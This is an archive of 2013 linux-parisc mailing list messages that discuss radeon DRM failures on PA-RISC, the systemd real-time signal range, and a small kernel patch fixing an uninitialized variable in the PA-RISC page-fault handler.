> John David Anglin dave.anglin@bell.net

Seen with 3.11.0 on c8000 few times. Though it was workqueue.c:137*9*
and no modules were linked in.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: drm/radeon: "ring test failed" on PA-RISC Linux
Date: Tue, 17 Sep 2013 12:13:43 +0400
Lines: 76
Approved: news@gmane.org
Message-ID: <836081379405623@web17m.yandex.ru>
References: <20130910132529.GF5038@phenom.dumpdata.com> <1978F3C3-6AD8-4487-B9DD-8AF1DEDDA8B4@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1379405677 5984 80.91.229.3 (17 Sep 2013 08:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Sep 2013 08:14:37 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 17 10:14:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VLqQP-000235-E6
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Sep 2013 10:14:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751946Ab3IQIOU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Sep 2013 04:14:20 -0400
Original-Received: from forward8.mail.yandex.net ([77.88.61.38]:39996 "EHLO
	forward8.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751763Ab3IQIOT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Sep 2013 04:14:19 -0400
Original-Received: from web17m.yandex.ru (web17m.yandex.ru [37.140.138.108])
	by forward8.mail.yandex.net (Yandex) with ESMTP id 37661F61799
	for <linux-parisc@vger.kernel.org>; Tue, 17 Sep 2013 12:13:44 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost [127.0.0.1])
	by web17m.yandex.ru (Yandex) with ESMTP id E35B337A05FB;
	Tue, 17 Sep 2013 12:13:43 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web17m.yandex.ru with HTTP;
	Tue, 17 Sep 2013 12:13:43 +0400
In-Reply-To: <1978F3C3-6AD8-4487-B9DD-8AF1DEDDA8B4@p0n4ik.tk>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5329>

This hand't been indexed, so i'll resending. Sorry for the noise...

11.09.2013, 15:11, "Alex Ivanov" <gnidorah@p0n4ik.tk>:
> Mates, let's continue with this issue at dri-devel@lists.freedesktop.=
org
> Here's where we stopped:
>
> --[start]--
>
>> =9A=EF=D4: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
>> =9A=F4=C5=CD=C1: =EF=D4=D7=C5=D4: drm/radeon: "ring test failed" on =
PA-RISC Linux
>> =9A=E4=C1=D4=C1: 10 =D3=C5=CE=D4=D1=C2=D2=D1 2013 =C7., 17:25:29 GMT=
+04:00
>> =9A=EB=CF=CD=D5: Alex Ivanov <gnidorah@p0n4ik.tk>
>> =9A=EB=CF=D0=C9=D1: Alex Deucher <alexdeucher@gmail.com>, Maling lis=
t - DRI developers <dri-devel@lists.freedesktop.org>
>>
>> =9AOn Tue, Sep 10, 2013 at 01:20:57PM +0400, Alex Ivanov wrote:
>>> =9AThanks! I'll try. Meanwhile i've tried a switch from page_alloc(=
) to
>>> =9Adma_alloc_coherent() in radeon_dummy_page_*(), which didn't help=
 :(
>> =9AIs this platform enabling the SWIOTLB layer? The reason I am aski=
ng is
>> =9Ab/c if you do indeed enable it you end up using the TTM DMA pool
>> =9Awhich allocates pages using the dma_alloc_coherent - which means =
that
>> =9Aall of the pages that come out of TTM are already 'DMA' mapped.
>>
>> =9AAnd that means the radeon_gart_bind and all its friends
>> =9Ause the DMA addresses that have been constructed by SWIOTLB IOMMU=
=2E
>>
>> =9APerhaps the PA-RISC IOMMU creates the DMA addresses differently?
>>
>> =9AWhen the card gets programmed, you do end up using ttm_agp_bind r=
ight?
>> =9AI am wondering if something like this:
>>
>> =9Ahttps://lkml.org/lkml/2010/12/6/512
>>
>> =9Ais needed to pass in the right DMA address?
>
> --[end]--
>
> Thomas,
>
>> =9AWhat I'm still wondering is whether radeon DRM really works on 64=
bit
>> =9Abig endian boxes.
>> =9AIs it running on any big endian boxes ?
>
> It's running ok at least on 32-bit big-endian PowerPCs and on 64-bit
> big-endian PowerPC G5 machines.
>
>> =9AIs there any prove, that someone has it running ?
>
> Here they are:
> https://groups.google.com/d/msg/linux.kernel/BnAMrzyO2wg/W-R5UVh_VLIJ
> And here's an excerpt from this one:
> http://lists.freedesktop.org/archives/dri-devel/2013-September/045029=
=2Ehtml
> "I don't think that will any difference. =9Aradeon kms works fine on
> other big endian platforms such as powerpc."
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =9Ahttp://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd real-time signals choices clash with Linux/PARISC available
 SIGRT range, WAS: fanotify_mark()
Date: Wed, 18 Sep 2013 20:40:18 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <5239F392.60901@gmx.de>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net> <521BC84B.4090602@gmx.de> <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl> <20130827164601.4accbbfb@marga.jer-c2.orkz.net> <521CC531.6020106@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379529627 28710 80.91.229.3 (18 Sep 2013 18:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Sep 2013 18:40:27 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 18 20:40:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VMMfu-0002io-7x
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Sep 2013 20:40:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751955Ab3IRSk1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Sep 2013 14:40:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49405 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751608Ab3IRSkW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Sep 2013 14:40:22 -0400
Original-Received: from [192.168.178.60] ([84.173.19.117]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MTjMy-1VV3rv34MK-00QUvC for
 <linux-parisc@vger.kernel.org>; Wed, 18 Sep 2013 20:40:19 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8
In-Reply-To: <521CC531.6020106@bell.net>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:gtVCzbInr47eVtl2SIxly1/11BHUpG4mnSWcIR1OMMsZsDQ5R4M
 HHXuoLEFFdDTZoUKXSydOe8aczmrc3R+pXIDNWVKSFUdEk4WmMsZA0kBvc+RT8QmI7Lj2Y8
 su5ToCBT/VZJtwS/fR0zdJ8ip3wfUGUwWSk3ooPMIcgeSAwo+B2QsSEAdcu/5oELRX/aNXo
 NimWggqOiv3y+gghC5uFg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5330>

On 08/27/2013 05:26 PM, John David Anglin wrote:
> On 8/27/2013 10:46 AM, Jeroen Roovers wrote:
>> On Mon, 26 Aug 2013 18:37:54 -0400 John David Anglin
>> <dave.anglin@bell.net> wrote:
>> 
>>> On 26-Aug-13, at 5:27 PM, Helge Deller wrote:
>>>>> [1] Sneak preview:
>>>>> https://bugs.gentoo.org/show_bug.cgi?id=482214
>>>> Did you already filed this signal-problem upstream as suggested
>>>> in comment #3
>>>> (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?
>> Well, there are two ways to resolve this problem, and seeing who
>> is developing systemd and seeing the generous way the "available"
>> signal range is used, I'm pretty doubtful about changes there.

I can see why they wouldn't like to change this again.
It might break systemd binaries on other existing arches which already 
support systemd.

Anyway, has there been any further upstream discussion?

>> As I said in comment #2, that range could be compacted (a lot) and
>> then fit easily on any future platform. Since it was a design
>> choice even reflected in man pages[1] ("[...], SIGRTMIN+29   Sets
>> the log level to [...]"), I'm very afraid they will not change it
>> easily.
>> 
>>> I believe two of the signal numbers come from HP-UX.
>> #define SIGXCPU         33 #define SIGXFSZ         34
> The signal numbers for these two signals come from HP-UX but the
> signals are used by Linux, so I can't see how they can change.
>> #define SIGSTKFLT       36
>> 
>> According to [2], SIGSTKFLT isn't used.
> This signal isn't used by HP-UX but it is used by Linux, so again
> this can't change.

changing those would break our binary compatibility...
 
> Can we change _NSIG to 69 so there are 32 RT signals as on other
> arches? [Dave followup]: It looks like it needs to be a power of 2.
> MIPS uses 128.

127 seems to be the better choice then... (signal #128 seems to conflict with
the core dump bit)

So, how should we proceed here?
If I haven't overlooked something, it seems that changing the parisc kernel
 & glibc is possible.
Downside is, that people of course need newer kernel/glibc and at least 
systemd recompiled.
Another downside is that we add more overhead in the signal paths, but I'm not
sure if this really hurts performance (is signal handling performance-relevant
at all?).

I can come up with a kernel/glibc patch (which seem to be trivial) if we agree 
to really go that way...

Helge

>> [1] http://www.freedesktop.org/software/systemd/man/systemd.html 
>> [2]
>> http://h21007.www2.hp.com/portal/download/files/unprot/STK/Linux_STK/impacts/i60.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd real-time signals choices clash with Linux/PARISC available
 SIGRT range, WAS: fanotify_mark()
Date: Wed, 18 Sep 2013 14:58:26 -0400
Lines: 93
Approved: news@gmane.org
Message-ID: <5239F7D2.80105@bell.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net> <521BC84B.4090602@gmx.de> <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl> <20130827164601.4accbbfb@marga.jer-c2.orkz.net> <521CC531.6020106@bell.net> <5239F392.60901@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379530703 9426 80.91.229.3 (18 Sep 2013 18:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Sep 2013 18:58:23 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 18 20:58:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VMMxC-0006sB-C5
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Sep 2013 20:58:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751815Ab3IRS6V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Sep 2013 14:58:21 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:55550 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751807Ab3IRS6U (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Sep 2013 14:58:20 -0400
Original-Received: from 209-197-162-117.cpe.distributel.net ([209.197.162.117] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VMMx6-0006d3-1S; Wed, 18 Sep 2013 14:58:16 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <5239F392.60901@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 209-197-162-117.cpe.distributel.net ([192.168.0.181]) [209.197.162.117]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5331
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5331>

Regarding _NSIG, I realized after I wrote that the number has to be 
divisible by 64 because
of the way various words are allocated (one bit per signal). There is no 
roundup in the allocation.
We need to tweak the RT max value so we at least 32 RT signals. This 
should keep userspace
happy.  This will leave a whole bunch of numbers free.  So, probably 
there wouldn't be a conflict
with the core dump bit.

I had the sense the glibc doesn't need to change because of the way 
POSIX specifies
the number of available realtime signals.

Dave

On 9/18/2013 2:40 PM, Helge Deller wrote:
> On 08/27/2013 05:26 PM, John David Anglin wrote:
>> On 8/27/2013 10:46 AM, Jeroen Roovers wrote:
>>> On Mon, 26 Aug 2013 18:37:54 -0400 John David Anglin
>>> <dave.anglin@bell.net> wrote:
>>>
>>>> On 26-Aug-13, at 5:27 PM, Helge Deller wrote:
>>>>>> [1] Sneak preview:
>>>>>> https://bugs.gentoo.org/show_bug.cgi?id=482214
>>>>> Did you already filed this signal-problem upstream as suggested
>>>>> in comment #3
>>>>> (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?
>>> Well, there are two ways to resolve this problem, and seeing who
>>> is developing systemd and seeing the generous way the "available"
>>> signal range is used, I'm pretty doubtful about changes there.
> I can see why they wouldn't like to change this again.
> It might break systemd binaries on other existing arches which already
> support systemd.
>
> Anyway, has there been any further upstream discussion?
>
>>> As I said in comment #2, that range could be compacted (a lot) and
>>> then fit easily on any future platform. Since it was a design
>>> choice even reflected in man pages[1] ("[...], SIGRTMIN+29   Sets
>>> the log level to [...]"), I'm very afraid they will not change it
>>> easily.
>>>
>>>> I believe two of the signal numbers come from HP-UX.
>>> #define SIGXCPU         33 #define SIGXFSZ         34
>> The signal numbers for these two signals come from HP-UX but the
>> signals are used by Linux, so I can't see how they can change.
>>> #define SIGSTKFLT       36
>>>
>>> According to [2], SIGSTKFLT isn't used.
>> This signal isn't used by HP-UX but it is used by Linux, so again
>> this can't change.
> changing those would break our binary compatibility...
>   
>> Can we change _NSIG to 69 so there are 32 RT signals as on other
>> arches? [Dave followup]: It looks like it needs to be a power of 2.
>> MIPS uses 128.
> 127 seems to be the better choice then... (signal #128 seems to conflict with
> the core dump bit)
>
> So, how should we proceed here?
> If I haven't overlooked something, it seems that changing the parisc kernel
>   & glibc is possible.
> Downside is, that people of course need newer kernel/glibc and at least
> systemd recompiled.
> Another downside is that we add more overhead in the signal paths, but I'm not
> sure if this really hurts performance (is signal handling performance-relevant
> at all?).
>
> I can come up with a kernel/glibc patch (which seem to be trivial) if we agree
> to really go that way...
>
> Helge
>
>>> [1] http://www.freedesktop.org/software/systemd/man/systemd.html
>>> [2]
>>> http://h21007.www2.hp.com/portal/download/files/unprot/STK/Linux_STK/impacts/i60.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Felipe Pena <felipensp@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/1] arch/parisc: mm: fix uninitialized variable usage
Date: Sun, 22 Sep 2013 15:17:46 -0300
Lines: 38
Approved: news@gmane.org
Message-ID: <1379873866-29219-1-git-send-email-felipensp@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1379873876 4367 80.91.229.3 (22 Sep 2013 18:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Sep 2013 18:17:56 +0000 (UTC)
Cc: Felipe Pena <felipensp@gmail.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Michal Hocko <mhocko@suse.cz>,
	Johannes Weiner <hannes@cmpxchg.org>,
	linux-kernel@vger.kernel.org,
	Kautuk Consul <consul.kautuk@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 22 20:17:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VNoEG-00084M-P9
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Sep 2013 20:17:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752330Ab3IVSRe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Sep 2013 14:17:34 -0400
Original-Received: from mail-ye0-f180.google.com ([209.85.213.180]:34713 "EHLO
	mail-ye0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752255Ab3IVSRd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Sep 2013 14:17:33 -0400
Original-Received: by mail-ye0-f180.google.com with SMTP id m15so895686yen.39
        for <multiple recipients>; Sun, 22 Sep 2013 11:17:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=wMgYasm2m4dTVv8TU4UD25ItVfv4oqrHUUu2nsEDDZo=;
        b=UMnXH8guqgj4eRPQCuRxvWlEqtBYHhGwBdYtwTj67g7MVMK6Ekc6ELcoqJR0FHTn2t
         3kln1f8t2HckBC0cEJ4jZz/jSVIe/hsy6zSiqu7kZPCqmDQ2I5Avo6USV2Ru6BWrSR+m
         /hOlkckZsIepqSMkUqYR68ggXC5UAyujyXlHZwEw3HKpBvvKPAaY6J9eX7sKYHSElSE3
         GX/X1dzxJCsfoki4FNn4RdydIQCO7UM8hAaN5lGP1O+JQhXARhKKd3BJ8KGM4zm6hKde
         t71/sO4jPu5AVD1i9eFha08MeNenNwHds/c/r+PCZIsF6I24LzejXvIM1IzHS36TgUOD
         iofg==
X-Received: by 10.236.117.106 with SMTP id i70mr19845665yhh.29.1379873853012;
        Sun, 22 Sep 2013 11:17:33 -0700 (PDT)
Original-Received: from localhost.localdomain (189-105-138-142.user.veloxzone.com.br. [189.105.138.142])
        by mx.google.com with ESMTPSA id h66sm32241391yhb.7.1969.12.31.16.00.00
        (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 22 Sep 2013 11:17:32 -0700 (PDT)
X-Mailer: git-send-email 1.7.10.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5333 gmane.linux.kernel:1565300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5333>

The FAULT_FLAG_WRITE flag has been set based on uninitialized variable

Signed-off-by: Felipe Pena <felipensp@gmail.com>
---
 arch/parisc/mm/fault.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index d10d27a..6b38026 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -182,8 +182,6 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 
 	if (user_mode(regs))
 		flags |= FAULT_FLAG_USER;
-	if (acc_type & VM_WRITE)
-		flags |= FAULT_FLAG_WRITE;
 retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
@@ -201,6 +199,9 @@ good_area:
 	if ((vma->vm_flags & acc_type) != acc_type)
 		goto bad_area;
 
+	if (acc_type & VM_WRITE)
+		flags |= FAULT_FLAG_WRITE;
+
 	/*
 	 * If for any reason at all we couldn't handle the fault, make
 	 * sure we exit gracefully rather than endlessly redo the
-- 
1.7.10.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Johannes Weiner <hannes@cmpxchg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/1] arch/parisc: mm: fix uninitialized variable usage
Date: Sun, 22 Sep 2013 18:58:09 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20130922225809.GL856@cmpxchg.org>
References: <1379873866-29219-1-git-send-email-felipensp@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1379890697 5013 80.91.229.3 (22 Sep 2013 22:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Sep 2013 22:58:17 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Michal Hocko <mhocko@suse.cz>,
	linux-kernel@vger.kernel.org,
	Kautuk Consul <consul.kautuk@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>
To: Felipe Pena <felipensp@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 23 00:58:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VNsba-0000ST-LE
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 Sep 2013 00:58:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752359Ab3IVW6Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Sep 2013 18:58:16 -0400
Original-Received: from zene.cmpxchg.org ([85.214.230.12]:55636 "EHLO zene.cmpxchg.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752261Ab3IVW6Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Sep 2013 18:58:16 -0400
Original-Received: from ool-4578dd68.dyn.optonline.net ([69.120.221.104] helo=phnom.home.cmpxchg.org)
	by zene.cmpxchg.org with esmtpsa (TLSv1:AES128-SHA:128)
	(Exim 4.76)
	(envelope-from <hannes@cmpxchg.org>)
	id 1VNsbV-0004Iy-Ev; Sun, 22 Sep 2013 22:58:13 +0000
Content-Disposition: inline
In-Reply-To: <1379873866-29219-1-git-send-email-felipensp@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5334 gmane.linux.kernel:1565407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5334>

Hello Felipe,

On Sun, Sep 22, 2013 at 03:17:46PM -0300, Felipe Pena wrote:
> The FAULT_FLAG_WRITE flag has been set based on uninitialized variable

Oops, you are right.

> Signed-off-by: Felipe Pena <felipensp@gmail.com>
> ---
>  arch/parisc/mm/fault.c |    5 +++--
>  1 file changed, 3 insertions(+), 2 deletions(-)
> 
> diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
> index d10d27a..6b38026 100644
> --- a/arch/parisc/mm/fault.c
> +++ b/arch/parisc/mm/fault.c
> @@ -182,8 +182,6 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
>  
>  	if (user_mode(regs))
>  		flags |= FAULT_FLAG_USER;
> -	if (acc_type & VM_WRITE)
> -		flags |= FAULT_FLAG_WRITE;
>  retry:
>  	down_read(&mm->mmap_sem);
>  	vma = find_vma_prev(mm, address, &prev_vma);
> @@ -201,6 +199,9 @@ good_area:
>  	if ((vma->vm_flags & acc_type) != acc_type)
>  		goto bad_area;
>  
> +	if (acc_type & VM_WRITE)
> +		flags |= FAULT_FLAG_WRITE;

Can acc_type actually change between between the first round and a
retry?  Otherwise, it might make sense to pull this up and place it
next to the flag initialization instead of pulling one flag down.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Felipe Pena <felipensp@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/1] arch/parisc: mm: fix uninitialized variable usage
Date: Sun, 22 Sep 2013 21:23:09 -0300
Lines: 47
Approved: news@gmane.org
Message-ID: <CA+5g0SKx-xGs1RiyDGYsCKMCzQN3QoEt+n=+Yiguk5iZs=0=oA@mail.gmail.com>
References: <1379873866-29219-1-git-send-email-felipensp@gmail.com> <20130922225809.GL856@cmpxchg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1379895834 17190 80.91.229.3 (23 Sep 2013 00:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Sep 2013 00:23:54 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Michal Hocko <mhocko@suse.cz>,
	linux-kernel@vger.kernel.org,
	Kautuk Consul <consul.kautuk@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>
To: Johannes Weiner <hannes@cmpxchg.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 23 02:23:56 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
